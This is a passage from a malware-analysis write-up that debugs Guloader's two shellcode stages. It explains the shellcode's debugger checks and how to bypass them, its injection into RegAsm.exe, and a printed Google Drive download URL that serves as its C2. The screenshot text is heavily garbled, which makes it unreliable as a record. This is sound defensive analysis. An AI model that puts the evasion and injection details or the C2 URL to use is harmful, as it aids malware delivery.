BE——e E8 OFDCFEFF |call 600367
& 00602778 e et
bt @ 00602779 «~ 73 69 jae 6027E4

Step into

After stepping into the function, we found ourselves in a unique location. Using other pre-computed hashes, the
shellcode searches for installed products with the API MsiEnumProducA and MsiGetProductInfo (again with the
djb2 algorithm).

I will not focus on this technique, but it is explained in detail here.

Press enter or click to view image in full size
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I Log U Motes [ ® @reakpoints | B Memory Map | ()} call Stack | &% SEH L] Seript | @] symbols <» Source
BFB5 FB0000C pop dword ptr ss:[ebp+Fa] T m
66:8502 jgegt Tl » || Hide FPU
66:F7C1 BB72Test cx,7288 . ! EAX  GFELD182 <msi.MsiGetProductInfoas
888D FB0000C mov egx.dwor‘be‘t MmEnumProductsI | |l eex 67885818
BA BBF1lB917 mov e x,lT‘BiF_Jﬁt_s_'__..-“"" € | ecx 00000085
E8 AF2B0000 |Eall 602F54 EDX  6FD62E33 “MsiGetProductInfon”
8985 000100C mov dword ptr ss:[ebp-loa] ,eax EEP  QOLRES500
39p2 cmp edx, edx [} s
868D FB0000C mov E%I‘I ﬂh tM s tP d_”tl Ton | | |2 ggég;“og‘é
B4ET Test 5] sloetFroductinro
EA BC5B9358 |mov edx, Skem—m EDI  03CB0000
30c9 cmp ecx, ecx___,_—-—""_-——
E& 93280000 |call 602F54 EIF  00GOO3F4
G0 pushad
BE FCOO0D00 |mov esi,FC EFLAGS Q0000246
2;31 ZF1 FF1 AF O
po| OF0 SFO DF O
8985 0401000 mov dword ptr ss:[ebp+104],eax CFO0 TFO IF1
66:8502 test dx,dx
SE=E?C1 EABE Test cx,BEEA LastError 00000003 (ERROR_PATH_NOT_FOUND)
= it Ll ol ' Laststatus 00000000 (STATUS_SUCCESS)
BBTD 20 mov edi,dword ptr ss:febp+20]
3902 cmp edx, edx [}
81C7 0000010 add edi,10000 G5 0028 F5 0033
BAET test bh,ah ES 002B D5 0028
39ca cmp ecx,ecx €5 0023 55 0028
37 push edi
&0 ushad 5T(0) FFFFOO00000000000000 x87r0 special dinv
BE B0O00CODOO |mov esi,B0 5T{1) FFFFOO00000000000000 x87rl sSpecial dinv
g;il 5T(2) 00000000000000000000 x87r2 Zero 0.0000
popa ST(3) 40029000000000000000 xB87r3 Nonzero 9.0
56 push esi ST(4) FFFFCO00000000000000 x87r4 Special gna
1 ggggsggm“c call dword ptr ss:[ebp 1007 ST(5) 3FFD9AZ09AB4FECFF799 x87r5 Monzero 0.3
s LA LTS ST(&) FFFFO000000000000000 x87r6 special inv
83F8 00 cmp eax,0 plleiie «
- OF85 C200000jne 60048 \ﬁrmﬁgs s WS T EnUMPrGdtCEeas 22290000 x87r7 Special gna
66:F7Cl CAB3TesT ox,85CA mov edi, ed

MsiEnumProducA and MsiGetProductInfo

After the execution of MsiEnumProductsA, we see the instruction JNE 6004C8, by default we will not take this
jump, but for the sake of bypassing this anti-analysis, we will change the ZF (zero flag) from 1 to 0, and take the

jump.
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Iy

UUoUUSE S

Lip 2LX,20x

L
e 006003E9 57 push edi [ 00000204
o D06003EA 60 pushad ZF O iPF 1 AF O
® 006003EB BE BOO0DO00OO |(mov esi,B0 L1 SFE 0 DF O
o 006003F0 0F31 CEO0 TF O IF 1
o) 006003F2 61 paph
@) 006003F3 56 push esi
o 006003F4 FF95 0001000 €all dword ptr ss:[ebp+ tgig;;:;s ggggggg
@) 006003FA 66:85D2 test dx,dx
[ |
Fr———e C COF85 €200000 jne 6004CE as foan o0
| of DDG DUIF/CL CABILEST CX,GoCn
| ——e| 00600408 ~| EB 00 imp 600400 €5 0023 55 0028
| =——w} 0060040D E8 0a000000 |€all 60041cC
| of 00600412 50 gush eax ST(0) FFFFOO000000
| - o 00600413 +| 75 62 jne 600477 5T(1) FFFFO0000000
I : o) 00600415 6C insh ] . sT(2) 000000000000
I ; @] 00600416 6973 68 6572 imul esi,dword ptr ds:[ebx+G8],5800726 5T(3) 400290000000
i 8] 0060041D 39D2 cmp edx,edx ST(4) FFFFCO000000
|| ® 0060041F 84E7 test bh,ah ST(5) 3IFFDOA209A84
| o} 00600421 39c9 cmp ecx,ecx
! 8 0060042 BOES mov eax,eb SE(BIFEFEDDOONDAG
|| ] 00600425 60 pushad SB A S EERE00TN]
Change the flag

Shellcode main function

Once we took the jump, we will reach one of the most important functions in the shellcode. This function will
mainly consist of two important functions.

The first one is the already mentioned 602F54 which will resolve API calls. The second one is 603B93 which will
be responsible to execute them (except few cases). This function will be the main execution function, where the

most important API calls will be executed.
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These two functions will be used multiple times during the final stages of the shellcode. Set a breakpoint on

603B93 and step into it.

Press enter or click to view image in full size

00600402
00600404
00800405
00600408
006004 DD
008004E2
Q06004E7
Q006004E9
Q06004ER
006004EE
006004F0
006004F1
006004F6
00&6004F8
006004F9
006004FE
00800501
00600506
00600509
0060050E
00600510
006800517
00800519
0060051E
0080051C
00800521
00600523
00600524
00600526
00600529
0060052E

Q0600530

0F31

61

66:85D2
66:F7C1 4EEQ
ES 481F0000
ES 69190000
39p2

B4E7

8945 4C
39C9

60

BE 5D000000
0F31

61

ES A41C0000
66:85D2
6G:F7Cl GEAL
884D 5C

BA B94TEFBA
3902

D, i
E8 3F2A0000
B4E7
39c9
64 04

60
EE 18000000
0F31

61

6A 00
66:8502
66:F7C1 9853
6a 00

poey

test dx,dx

test Cx,ED4E

€all s0242a

call 601E50

cmp edx,edx

test bh,ah

mov dword ptr ss:llebp+4c],eax
cmp ecx,ecx

pushad

mov esi,5D

opa
53?1 60212

test dx,dx

test cx,ALGE

mov ecx,dword ptr ss:febp:5c]
mov edx,BAEF4789

call 602F54

1
cmp ecx,ecx
push 4
pushad
mov esi,le

Fesolve API calls|

popa
pUSh g d
test dx,dx

test cx'sgg;’E}(ECUtE API calls|
push 0

50
E8_5D360000

Two important functions

call 603893 |/

edx: "OpensCManagera”

[ebp+4C] L™ "C:\\Users\\Maly

5D:'1"

[ebp+5C] : "advapi32”
edx: "OpensCManagera”™
edx: "OpensCManagera”

Because of the fact that this function will be responsible for the majority of the API calls execution, we’ll want to

set a breakpoint in strategic locations so we’ll have the option to hit Run and speed things up.

My preferred locations are the call to EAX, which is the location when the API call will be executed, and JMP

ECX, which is the location where the function will return to the core parent function.

However, before we’ll reach these important functions we need to bypass multiple anti-analysis checks that

happened right before.
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o 00BDICLE
o 00603c1A

FES5 28

BAFF

83F8 00
v 75 78
JSREL_O0050000
8378 04 00
73 6C
8378 08 00
75 66

<

%

calll dword ptr sss[ebprzs]
test bh,bh - -

i eax, D

]m 603C97

cmp dword ptr ds:[eax+4],0
jne 603c97
cmp dword ptr ds:[eax+8],0
jne 603c97

{23000]

! 00603C31 84DB test bl,bl Hardware breakpoint checks
: e 00603¢c33 8378 O0Cc 00 |cmp dword prr ds:[eax+c],0

U peemssmrosrmam=aes Q0603C37 > E jne 603C97

i : @ 00603¢30 8378 10 00 |cmp dword prr ds:[eax+10],0

i1 pemeecmee e o 00G03C3D ~|75 58 jne 603Co7

: i | 00603 3F 85¢9 Test ecx,ecx

| o 00603Ca1 8378 14 00 |cmp dword ptr ds:[eax+14],0

P e | oo603cas ~| 75 50 jne 603CE7

: e 00B03CAT 8378 18 00 |cmp dword ptr ds:[eax+18],0

i wemneenen@f 00603CAE ~ 73 AR B JeE =

! of 00603C4D IR cop ab _ab

| o 00603C4F 58 pop eax

i o] 00603C50 66:5508 test bx,bx

E o 00603C53 8a18 mov bl,byte ptr ds:[eax]

’ o 20603c3 oo |SiPa0séer

! --@f| 00B03C58 v (] -
: | ooBo3C5A 66:8618 ?m:w bx,word ptr ds:[eax] Software breakpoint checks
| 00603C5D 66:81F8 CDOJ cmp bx, 3CD |
i 00603ICE «|74 33 je 603C97

H 00603064 34pa cmp edx,ebx

i 00603CE6 56:8818 mov bx,word ptr ds:[eax]

! 00603C69 66:81FB OFO0H cmp bx,EBOF

i 00B03CEE 7T TE BUICY

| 00BO3CTO rﬁﬁ.ﬂﬁnﬂ.— = KR

| 00G603C7 3 FEDQ gall aax _

H 00B03ICTS JBO1 E‘rﬁlp cr,dr xecute API calls

E 00603CF7 QOFTECS movd ecx,mml

1 00603CTA QF7EDA movd edx,mm3

i 00803C3 E3ca 04 sub edx,;

1 00B03ICE0 3104 xar dwor

H 00803CE2 S4EE Test dh,chpFEtum from the fUﬂCtIOﬂI
i | 00603Ca4 3655 44 cmp Ed!.dwr#ptr s5:lebp+44] |
! | 00G03CET -

i 00603ICES ~| FFE1 jmp ecx

| | cos03CER posTad

H | 00603CEC B0 DD mov al,pD

H | 00G0O3CEE 3c bD cmp al,oD

-i 00&03Co0 ~ QF85 CCELFFF jne G01E62

apad

00603Ca6 1 p
S1EC 0001000 5u

@ 00B03CI7

esp,100

Execution function architecture

Anti-analysis 7: Hardware breakpoints

The DR (debug registers) are located in the following locations:

[eax+4] =DR 0

[eax+8] =DR 1

[eax+C]=DR 2

[eax+10] =DR 3

[eax+14] = DR 4

[eax+18] = DR 5

The shellcode will compare any of these registers to the number 0, if one of them is not O that means there is a
hardware breakpoint. In this case, the shellcode will jump using the JNE 603C97 and the process will be

terminated.

If we want to observe how this anti-analysis mechanism works, we can click “follow in dump” on one of these DR
locations (for example eax+4), and see it has the same address of the chronological number we set the hardware

breakpoint.
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W UUSsHLL | BUFA Us LMy U, MMG 000000000
. FF35 28 c'ali_'-'l dword ptr ss:febps 28] | MMT 000000000
o[ 00383C1E BAFF test bh,bh
[ ] CID:S’Lla E3IFE 0O omp eax, 0
p « 75 78 jne 383€97 J a0, 0dagan
[} BBE7 0050000 L i [
™ 837E 04 00 | dword ptr ds:[eax+4],0 | M4M2 0000000
L] e e 12 M3 0000000
§378 08 00 |cmp dword ptr ds:[eax+8],0 amd 0000000
ettt L «| 75 66 jne 383C97 XMM3 Q000000
| 8 £4D0B test bl,bl XMME 6930746
1 o ¢ 8378 OC 00 |cmp dword ptr ds:[eax+C],0 WHMT  2A2C2D6
! L) 3C37 «| 75 SE jne 383C97
! o| 00383C30 8378 10 00 |cmp dword ptr ds:[eax+10],0 YMMO 0000000
1 e 00383C3D |75 58 jne 383c97 YRM1 Q000000
| o 00383C3F 85c9 test ecx,ecx YMMZ 0000000
i &l 00383c41 8378 14 00 |emp dword ptr ds:[eax+14]),0 YMM3 0000000
i @ 00383Cd5 ~| 75 50 Jne 383ca7 M4 0000000
1 ol 00383ca7 8378 18 00 |cmp dword ptr ds:[eax+18],0
- | 00333caE o 75 an jne 383ca7 wi5 0000000
i e 00383c4D 38E4 cmp ah, ah wMME 0000000
' of 00383caF 58 pop eax YMM7 0000000
! eof 00383c50 66:8508 teﬂb'lhxl:': dei ] TTIRET]
; #| 00383C53 BAlB Mo yre prr ds:[eax { DRO_77484110]
I of 00383c55 BOFE €C emp b1,cC _ﬂ.-“"‘ DR1 774B4130
| --@|| 00383C58 ~| 74 3D je 353(9? DRZ Fr4B4160
1 af 00383c5A 66:8B18 mowv b, word prr ds:[eax] DRI 774B41C0O
; of 00383C5D 66:81F8 €003 cmp bx, 3CD DRG EFFF4FFO
1 &f 00383c62 «| 74 33 je 383CS7F DR7 33330055
! o 00383064 3904 cmp_edx, ebx b
i i 4 i ] * uefauht (stdcall)
Jump is taken esp+8] 00!
003E3Ca7 3‘ esp+C] 00
esp+10] Ot
003B3C29 .'t- asna Al 0i

4 Dump 4. .|,_ ¥4 Dump 5 [ B watch 1 ] Ix=| Locals |_? Struct

HE _ |asciz
7434110 88 FF 55 Bs[EC &3 €4 F8/83 EC 38 53156 €6 05 F3| yU.1.40.185v5. 8
17 02|88 AD 36 44|77 88 75 10|0F 85 63 ozw T

77484130 01 30 535 80 44 24 0C|6A 00 50 £8 |61 ED F5 jB D%, §. pea1ay
7748414083 €4 OC 8D|4C 24 0B ES |50 F4 FE FF|BB 55 0C sa . L3, éPdoy. U
7748415040 0B 6A 00|6A 00 FF 75|24 FF 75 20|FF 75 1€ FF|M.J.]. yusyu yu.y
77484160|75 18 FF 75|14 56 €8 1B|4F F& FF 8D |4C 24 08 SBIU yu ive.omy.L3..
FFAamATTAlrA rd 84 Falre mr o rc Nt et e Ea TTIAS AF 62

Hardware breakpoint example
How we overcome this technique?

If you set a hardware breakpoint, you can change the flag so the JNE jump will not be taken.

The easiest solution will be to use the ScyllaHide plugin.

Anti-analysis 8: Software breakpoints

In this technique, the shellcode will get the API call to be executed from the EAX register, move one byte to the bl
portion of the EBX register, and will inspect if any software breakpoints assign to it.
If it has any software breakpoint, it will have one of the breakpoint opcodes(for example, 0xCC which means INT

3, and as we know, the INT 3 opcode represents a software breakpoint).
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v £5 78 jﬂé 4E3COT
8687 0050000 mov eax,dword ptr ds:[edi+5000]
8378 04 00 |cmp dword ptr ds:[eax+4],0
v £5 6C jne 4E3CO97
8378 08 00 |cmp dword ptr ds:[eax+8],0
«~ 75 66 jne 4E3CS7
84DB test bl,bl
8378 0OC 00 |cmp dword ptr ds:[eax+C],0
= 5 5E jne 4E3CA7
8378 10 00 |cmp dword ptr ds:[eax+10],0
«~ 75 58 jne 4E3CS7
85C9 Test ecx,ecx
8378 14 00 |cmp dword ptr ds:[eax+14],0
« £5 50 jne 4E3CS7
8378 18 00 |cmp dword ptr ds:[eaxipop API call to be executed
~ 75 4A jne 4E3C97
JEE4 abh_ah
58 pop eax
66:85DB A )
| 8al18 mov Ej.byte ptr ds:[eax]
80FB CC Cm CC
~ 74 3D Je AE3CO7
66:8B18 mov bx,word ptr ds:[
66:81FE CDO cmp bx, 3D Move byte to the bl
v 74 33 je 4E3C97 . .
S cnp. edl, ebx Ny egister and compare if it
66:8B18 mov bx,word ptr ds:
66:81FB OFOE cmp bx,E0F qual to OxCC (INT 3)
= 784 PF je 4E3CH7
66:85DA test dx,bx
I FFDO call eax

Software breakpoint example

As expected, if a software breakpoint is present, the shellcode will go to the location that will terminate the

process.

Press enter or click to view image in full size

VS E DL LL

UM WY 'L.Illkll (R

-
] FF55 28 ca ggngg ptr 55 :flebp+28] A%
o 004E3C1R B4FF test , .
ol 00ic3c1a 838 00 cmp eax;0 XCC In the bl registerj—pEsXx __004e35c
———————————— ®| 004€3ciD v jre 4E3cC
®f| 004E3CLF 8B87 0050000 mov eax,dword ptr ds:[edi+5000] Eg§ ggggﬁ%gg
8| 004E3C25 8378 04 00 |cmp dword ptr ds:[eax+4],0 ESP  0OLSF4D8
———————————— o 004E3C29 ~ 75 BC jne 4E3C97
®| 004E3C28B 8378 08 00 |cmp dword ptr ds:[eax+8],0 ESI 00000000
------------ ®|| 004E3C2F « 75 66 jne 4E3c97 EDI  03CFQ000
®||004E3C31 B4DB test bl,bl
®| 004E3C33 8378 OC 00 |cmp dword ptr ds:[eax+C],0 EIP  DO04E3C58
------------ ®|| 004E3C37 ~ 75 5E jne 4e3c97
®|004E3C309 8378 10 00 |cmp dword ptr ds:[eax+10], EFLAGS 0000024
------------ ®|| 004E3C3D ~ 73 58 jne 4E3C97 ZE1L PF 1 AF D
@|| 004E3C3F 85C9 Test ecx,ecx OEF 0O SEO0 DF O
o 004E3C4L 8378 14 00 |cmp dword ptr ds:[eaxd .0 [ 1 CEO0 TEO TF 1
____________ i< ggiEngS i Eg?golﬁ o4} 3 gzscg? er ds: [ 18],0 W
[ 4E3C47 m, wor r ds:[ea £
jmenmnmea=-@| 004E 3C4B v 75 4A jng a€3co7 e ggggg
: [} gnggcdD ggsd cmp ah,ah
1 ®| 004E3C4F op eax
|| 004E3C50 66:8508 tegt bx, bx G5 0028 FS 0053
i e 004E3C53 8 mov bl,byte pg# ds:[eax] ES 0028 D5 002B
: ®| 004E3CS5 BOFE CC I €5 0023 S5 0028
—y————o ESTEE  -[74 20 Je 4£3C97
o o 004E3C5A OOTEELE - ptr ds:[eax] sT(0) FFFFO00000
N ®| 004E3C5D 66:81FB CDO3 cmp bx,3CD ST(1) FFFFOO00DO
i gom-e- | 004e3c62 ~| 74 33 je 4E3C97 ST(2) 0000000000

Software breakpoint example

How we overcome this technique?

Change the ZF to be 0, or change the instruction to be NOP. As mentioned before, the easiest solution is the

ScyllaHide plugin.
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Finally, we bypass all of the anti-analysis mechanisms and we can focus on Guloader’s main goal. Because we

already set a breakpoint on the call to EAX, and JMP ECX we can click Run, and observe the functions that bein

executed.

The first API call that is interesting for us is CreateProcessInternalW (which is the kernel equivalent to

CreateProcessA). In this case, the process to be created is RegAsm.exe, this is also a hint for us that the malware

to be downloaded will probably be written in .NET (In this case, it’s Agent-Tesla).

Press enter or click to view image in full size

i+ Log | |4 Motes I ® Breakpoints | B8 Memory Map | [} Call Stack | &5 SEH | Script | &| Symbols 42 Source ] #
;:55 28 call gﬁngﬁ per ss:[ebp+28] » | Hide FPU
FF test bh, St —
B83F8 00 cmp eax,0 EAX  7535B3BDE <kernel32.createrrocessIinternalu> |
v 75 78 ne 733C97 —f——r
8B87 00500000 mov eax,dword ptr ds:[edi+3000 ECX  OQB940000
B3I7E 04 00 cmp dword ptr ds:[eax+4],0 EDX  000SCETS
~ 75 _6C jne 75397 EBF  QOL8F500
8378 08 00 cmp dword ptr ds:[eax+8],0 Eop O018FAB0
« 75 66 jne 753CO7 === s
B4DB test bl,bl ESI 00752764 &"h
B37E 0C 00 cmp dword prr ds:[eax+c],0 EDI 03080000
- 75 5E jne 753co7 o
8378 10 00 cmp dword ptr ds:[eax+10],0 EIP  00753c73
+ 75 58 jne 753¢97
B5Ca Test ecx,ecx EFLAGS Q0000300
B37& 14 00 cmp dword ptr ds:[eax+14],0 ZF 0 PFO AF O
« 75 50 jne 753Co7 OF 0 SFO DF O
8378 18 00 cmp dword ptr ds:[eax+18],0 CF0 TF1 IF 1
« 75 4A jne ?asc?? _|
38E4 cmp ah,ah
H pop. 231 | arseonen, pypseny (eees i Srus o
66: 8508 tESth'bef:bx . ] =
Balg mow byte ptr ds:f[eax G5 002B ES 0053
- aneE s ES 0026 DS 0028
66:8618 mov bx,word ptr ds:[ea €5 0023 55 0028
66:81F8 C€DO3 | cmp bx,3CD . . A
- 74 33 je 753Ca7 ST(0) FFFFOO00000000000000 xE7r0 Special invalid
390a cmp edx,ebx ST{1) FFFFOQQOO000007519C3 xB7rl special invalid
06: 86818 mov bx,word ptr ds:[fax] 5T(2) 00000000000000000000 xE7r2 Zero O.000000000000000
66:81F8 OFOB |cmp_bx,BOF 5T(3) FFFEO00D0000000753890 x87r3 special invalid
v 74 27 je 753¢97 ST(4) EFFECO00000000000000 x&7r4 Special gnan
5T(3) 3FFD9AZ09AB4FBCFF799 x87r5 Monzero 0.301029995663
FFDO call eax ST(6) FFFE0000000000000000 x87r6 Special invalid
OF?Ecg EgdLéé:lml 5T(7) 7FFFCO00000000000000 x87r7 Special gnan
OFFEDA movd edx,mm3
B3EA 04 sub edx,4 %87 Tacward A29a
310a xor dword ptr ds:[edx],ecx Default (stdcall)
B4EE test dh,ch 1: [esp] 00000000
3655 44 cmp edx,dword ptr ss:[febp+44] 2: [es,‘Lu 03DB2000 L7C Y \windows'\Microsoft. NET\\Framel
~ 75 F4 jne 753CFD 3: Eesp-;a 00442600 L™\ "C:\\Users\\Malware\\Desktop\\gu
v EFE1 Jmp ecx 4: [esp+C]_03DBOD0O

Creating process

The RegAsm process will be spawned in a suspend mode which indicates process hollowing injection, this

variation of process hollowing is a bit unique, but because we only care about unpacking the final payload I will

not cover it here, however, you can read here for more details.

4 ¥ x32dbg.exe
4 [ guloaderpl.exe

RegAsm in suspend state

As we continue to observe the API calls that being executed, we see NtMapViewOfSection. When we encounter

this function, click step over on JMP ECX, to return to the parent function. Then, continue to step over

instructions manually until you see an instruction that calls for a function stored in the location [ebp+30]. This line

will execute the API call NtWriteVirtualMemory (which is the kernel equivalent to WriteProcessMemory).

This instruction will write a second shellcode to the RegAsm process.
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pusn 24x

push dword ptr ss:[[ebp+44]
push dword ptr ss:|[lebp+104]
test cx,bx

edit 800
|cal] dword ptr ss:[ebp+30]
Temp eax, o
jne 751cco
Cmp CX,ax NTWritevirtualMemory> 37:
test cl,bl
mov ecx,dword ptr ss:|fel
cmp ah,ch lea edx,dword ptr ss:[esp+4]
add ecx,4100 call dword ptr Jl:[c0]
mov dword ptr ds:[ecx],fadd esp,4
test cl,cl FEL 14
push ecx

Write the second shellcode

Now, we can go to the third argument of NtWriteVirtualMemory and click “follow in dump” to observe the new

shellcode that will be written.

Press enter or click to view image in full size

| ®| 007 51COF FFE7 Q0080000 | EFLAGS QO000206
Eg— e FE55 30 ZF 0 PF1 AF O
@ 00751C18 83F8 00 OE QO SEQ DEO
-----@| 007 51Cl8e ~ OF85 9F000000 CEQ TEQ IF1
5 o 00Z51c21 B6;39C1 ,
- 2l SINtWriteVirtualMemory f-rZeSt <l.E i
e G-I Y [ Tmov ecx.dword ptr ss:fel
| e|00751C20 I8EC cmp ah, ch R t Default (stdeall)
| e 00751C28 81C1 00410000 |add ecx,4100 1: [esp] 00000150
) #| 0075131 C701 07000100 |mov dword ptr ds:[ecx],: 2o [esped] 00180000
; o| 00751c37 84C9 test cl,c 3: [esp+8] 00750000
! ®f 00751C39 51 push ecx TT [ESpTC]_ oUoU3IuUoU
! o) 00751C3A 380 cmp al,dl < || 37 L[esp+10] OOL8FG00
! of NO751c3C FER7 Q4080000 |nush dword nrr ds:ledi c:
: < 1l
| ki Dump 1 J &% Dump 2 o Dump 3 | Yot Dump 4 Dump 5 | &5 watch 1 VS LAl | 001 5F4 00180000
00LEF4 00750000
Address T -
00750000 'Hgll_-:_ DE 00 00|00 4C 1E 62|05 41 3F SE|BD 43 BL EF|&P...L.D.A?7ACET L et e
00750010| 35 DA 30 EA(FE 7E 43 37|19 73 64 D4 |40 B9 D6 C3|5008p~C7.sdBE'6A 0018F 007 507 A
00750020 (FC 0OC 55 BE|C6 F4 25 0B|9C E9 45 A8 |07 EB BY 53|0.UMLE%..6E .&.5 =l oo1sr ODE)O{JEDE
00750030|7F 82 7a 93 (4 4A DF |1F 1B 6B 7D|8A 61 DC 27|..z.I&IB..k}.al’ "Il oorard oooooooo
L a Lty
B 81 3B(4F CF Apk. . 3D =
ez e w0 =dSecond shellcodeliz; i 0018 | 00000000
00750070 |00 D3 CB E4 [4C 1E 62 95 |4T—r—2r—DOToTT DI CT DOTECT TS AT TACET 5 0018F- 660{)0009
00750080\ DA 30 EA FE|7E 43 37 19|73 64 D4 40|B9 D6 €3 FC|U0Ep-CT.sdO® OAU OOlHF“ 00000000
00750090 |0C 55 BE C6|F4 25 OB OC |EQ 45 AR 07 |[EB B7 53 7F|.UMEZ6%. .66 .6.5. 001§F- SEDDBE2T
007500A0| 82 7A 93 49|26 4A DF 1F|1B 6B 7D BA |61 DC 27 03|.z.I&IB..k}.al’". O01EF P77 AD0000
00750080 B4 5B 67 CC|539 6F B3 EG |4 94 02 FC 86 '[gIIO’Q&H.Q.,LU. 0015E || 77A9F8EA
007500C0| 26 81 2B 4F|CF 50 88 6A|C4 BS 25 91|04 E3 DO 09 +A:OIP‘¥ﬁp.%.‘aEI. 0015¢ | 7554 0BF
00750000(50 A6 OF D3 |01 76 5C ED|E6 96 F9 14 (3C 08 A4 DO|],;.0.v\10.0.<. 8D DOlSr; 00014178
007500E0|D3 CB E4 66(39 €9 A9 5E|E6 S5A CO 81 0 0| GEATOES ®ZA. . .. 0013ji00010210
007500F0| 00 F6 C6 95|55 38 ES F6|C7 8A B9 ES5|66 39 C3 84|.d64.UBABC. . af9A. 001 BEi 00752785
00750100 |FD 66 F7 €6(7C 23 38 C2|EB 00 00 00|00 66 39 CB|yf-s|#8AR....T9E | prgucd
AnZentinl ez 1 g0 23 lcn 3 o JAc lag gE 8 849 -5 A a4 norel-f337 co Oty ?9:!-§FI 993?319?

Observing the second shellcode

Next, we can copy and dump the entire buffer that contains the second shellcode. In this way, we can debug it

without any dependency on RegAsm.

Wrap the first shellcode

After the first shellcode creates the Reg Asm process and injects a second shellcode into it, it will execute the API

call NtResumeThread to activate the second shellcode within the RegAsm memory.

Now, we basically have two options, we can open a new debugger and attach it to RegAsm, or, we can debug the

dumped second shellcode as a stand-alone shellcode using tools such as BlobRunner.

Page 22 of 25



https://elis531989.medium.com /dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fh15ch4

My preferred option is to debug it using the BlobRunner tool because I don't want to be dependent on RegAsm.

Also, I want to have the option to debug it over and over again as quickly as possible.

For those of you who are not familiar with the BlobRunner tool, please look at the following video.

Debugging the second shellcode

When we start to debug the second shellcode, we notice that to our surprise this shellcode starts the same as the

first one, In fact, this is the almost same shellcode. This resembles give us the advantage to bypass all the anti-

analysis mechanism that we already see in the first shellcode.
Differences from the first shellcode

After we reach the main function we saw in the first shellcode, we will set the same breakpoints. Then, as we click
Run and step over functions, we start to see indications of additional capabilities that we have not seen in the first
shellcode.

First, we see a call to a location in the stack (in this case, [ebp+D8]), that will execute the function

InternetOpenUrlA, we also see the C2 it will use.

Press enter or click to view image in full size

TEST cx,ax

t_é-ﬂ;g;:;.eax eax: "hreps://drive, google, comfucTexport=downl oads] d=1hyImeui AZvid UNUATO]4 Z50Y VT SDASEF™
1e E

mov eax,dword por ss:ffesps4]] [esp+4]:"https f',."dr'i-.-e.goo:;'le.conl_.-'uc?cxpor-r-{lou.n'lon[l&-fd-kl‘wn:ﬁu‘iAzn.-y‘iuvu{ﬂjizsuv-.-tbua-lﬁl-"
1:1!5;:1 eax, ebx eax:"https://drive. google. com/ucTexport=download&id=1hyIméuiazvydiwiatljdzsoyvtSDad6r”
ush 0

ﬁush 84000100

push o

push o

cle

push eax eax: https://drive. google. com/uc?expar t=downloadéid=1hyImeUuiAzvyd UWUATOJ4 Z50YvESDad 6F ™
cap ch,ah

JLEst Dn, 0500

TesST eax,eax hteps S rdred i =o' por-t=down]0ad&i d=lhy ImGUi Azvyd UWVUATOj4 250 vESDad6F "
je 302408 77506000 <wininet. INTernetdpenur 1A

mov dword ptr ss:febprec)mov edi, edi

cmp bx,bx push ehbp

test cx,ax mov ebp,esp

mov dword prr ss:[cbpn-o and esp,FFEEFFFE

mov dword ptr ss:febpird]fsub esp,icC

OV ¢ax.cbg lea eax,dword ptr ss:fesp+d])

test eax,ebx push esi por t=down]oad&i d=1hyIm&Uiszvyd UWUATOj4Zzs0YvESDad 6F "
add eax,F0 push 38 por t=downloadéi d=1hyImGui azvyd UvuaT0j4z50vvT 508466
mov ebx,dword ptr ss:[ebpjpush O jSCA0FT 38842}

cmp X, ax push eax

test dx,ax €all <IMP. &memser>

mov ecx,dword ptr s5:[febp) esp,C

push di lea ecx,dword pur s5:fesp+3]

mov di,3783 €all wininet.7744359C

pop di push dword ptr ss:[ab%uc]

cmp ecx,dword ptr ss:jfesplmov edx,dword ptr ss:|febp:C])

jle 30239¢C push dword prr ss:febpi1s]

test ah,D3 mov ecx,dword ptr s5s:[febp:&]

add ebx,dword ptr ss:[ebpjpush dword prr ss:[el;pal-:
sub ebx,dword ptr ss:[espjpush dword ptr ss:febp+10

T — e Al andfd 4 A b tmTied dmnadinm sl 4 e o S 1S e

Observing the C2
Then, in the function that executes API calls, we see other wininet API calls being executed.

Press enter or click to view image in full size
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TR E T FEDS UUUUUG PUSET WO G L WD [ T ]
&) 00303C10 ‘ 6A FE push FFEFFFFE EAX 77429900 <wininet. Internetsetoptionss ]
o) 00303ciz BOFa 04 E

m‘hmd'i d febp+ 28]

FF535 28 ca word ptr ss:ifebp+23

0303C18 BAFF test bh,bh s Eg‘c gggggggg

0303C1A B3F8 Q0 cmp eax,0 EGP  OD4AFS14

00303C1D ~ 75 78 jne 303CO7 EsP  OO4AFTDC

00303C1F BER7 0050000 mov eax,dword prr ds:[edi+s000 =T

00303C25 8378 04 00 |emp dword per ds:[eax=4],0 ESI  00302cce

0030329 « 75 BC jne 303c97 EODL  0LDADOCO

Q0303C2B 8378 08 00 |cmp dword pur ds:[eax+8]1,0 "

00303C2F « 75 66 jne 303C97 EIF  00303CT3

00303C31 B4DB test bl,bl

00303C33 8378 0C 00 |cmp dword prr ds:[eax:c],0 EFLAGS 00000282

00303c37 ~ 75 SE jne 303co7 ZFO PFO AF O

00303C39 378 10 00 |cmp dword ptr ds:[eax+1040 OF 0 S 1 DF Q
~ 75 58 jne 303cC97 CEO0 TEO IF1

B5C9 Test ecx,ecx
E378 14 00 |cmp dword pur ds:[eaxs

1,0 —| LastError 00000000 (ERROR_SUCCESS)
Al ;2: gﬁgf_fptr ds:[easdi5], 0 LastStatus COO00034 {STATUS_OBIECT_NAME_NOT_FOUND
e 2 .
R N S G5 0028 FS 0053
58 pop eax ES 0028 DS 0028
66:8506 test bx,bx €s 0023 35 0028
Bals mov bl rI':w,f':e prr dy: [eax]
00303C55 8OFE CC emp b1,cc STC0) 00000000000000000000 xB7r0 Zerc 0.000000000
00303C58 ~ 74 3D je 303c97 ST(1) FFFFO000000000302300 x87r1 special invalid

303C5A 66:8818 moyv bx,word ptrfds:[eax] ST(2) 00000000000000000000 x87r2 Zero 0.000000000

HatEitele 66:81FB D03 cmp by, 3CD sT(3) FFFFO000000000303690 x87r3 special invalid
02'30:':(-'-"f ~ 74 33 je 303c97 sT(4) 00000000000000000000 x87rd Zero 0.000000000
g:ﬁg;gg: gg{’;am Gl Ei".ﬁ'ﬁé S — sT(5) 00000000000000000000 x87r5 zero 0.000000000
03 G f a t

e S R s ST(6) 000000000000000D0000 x87r6 Zero O.000000000

0303CBE - 74 27 ST(7) 00000000000000000000 x87r7 Zero O.000000000
00303CT0

je 303¢o7

xB7Tagword 5599

EED0 *ATTW 0 1 (Faral *R7TW 1 2 (fanarial}

| e s

Observing the C2

At this point I decided to finalize my analysis because we achieve the two goals of this article:
1) We learn how to crack the two shellcode stages of the Guloader malware.

2) We observe how to find the C2 that will be responsible for downloading the additional malware.
Recap

When we sum up the entire architecture of Guloader, we observe several stages and key features:

1) The malware initially come wrapped with a VB layer

